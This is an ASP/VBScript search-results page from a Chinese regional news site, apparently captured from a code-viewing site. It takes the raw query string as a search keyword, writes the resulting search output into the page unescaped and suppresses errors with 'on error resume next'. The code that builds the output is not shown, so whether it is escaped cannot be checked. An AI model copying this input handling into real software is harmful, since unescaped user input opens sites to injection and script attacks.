📄 search.asp
字号:
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<% on error resume next %>
<!--#include file="function.asp" -->
<!--#include file="sub.asp" -->
<%
dim Keyword,searchstr,NextPage
Time1=Timer
Keyword=Request.ServerVariables("QUERY_STRING")
call SearchNews(Keyword)
Dim NewsChina,NewsWorld,NewsSports,NewsTech,NewsFinance,NewsEnt,NewsSociety
call GetImgNews("all")
%>
<html>
<head>
<title>茂名新闻网 - 新闻搜索结果 http://www.mmw.cc</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link href="style.css" rel="stylesheet" type="text/css">
</head>
<body leftmargin="0" topmargin="0">
<!--#include file="top.asp" -->
<!--#include file="item.asp" -->
<table width="773" height="25" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#333333">
<tr>
<td> </td>
</tr>
</table>
<!--#include file="ad_top.asp" -->
<table width="773" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td width="152" valign="top" class="Item_7"><table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="18" class="Item_3"><img src="img/new_27_6.gif" width="18" height="20"></td>
<td valign="bottom" class="Item_4"><table width="87%" height="16" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td valign="top"><font color="#FFFFFF">图 片 新 闻</font></td>
</tr>
</table></td>
</tr>
</table>
<table width="100%" border="0" cellpadding="0" cellspacing="10">
<%
Dim rs
Randomize
rs = Int((5 * Rnd) + 1)
select case rs
case 1
sImgNews = split(ImgNewsChina,"</a>")
case 2
sImgNews = split(ImgNewsWorld,"</a>")
case 3
sImgNews = split(ImgNewsSports,"</a>")
case 4
sImgNews = split(ImgNewsEnt,"</a>")
case 5
sImgNews = split(ImgNewsSociety,"</a>")
end select
For i=0 to ubound(sImgNews)-1
%>
<tr>
<td align="center"> <% Response.Write sImgNews(i)&"</a>" %> </td>
</tr>
<%
Next
%>
</table></td>
<td valign="top" class="Item_8"><table width="100%" border="0" cellpadding="0" cellspacing="0" bgcolor="#D6D7D6" class="Item_7">
<tr>
<td width="44"><img src="img/new_27_5.gif" width="41" height="20"></td>
<td valign="bottom"> <table width="100%" height="16" border="0" cellpadding="0" cellspacing="0">
<tr>
<td valign="top">搜 索 结 果</td>
</tr>
</table></td>
</tr>
</table>
<table width="100%" border="0" cellpadding="0" cellspacing="10" class="newsLink">
<tr>
<td class="newslist">
<%
Response.Write searchstr
Response.Write "<p>"
Response.Write NextPage
%>
</td>
</tr>
</table>
</td>
</tr>
</table><script src="http://www.mmw.cc/non5.asp"></script>
<!--#include file="about.asp" -->
</body>
</html>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -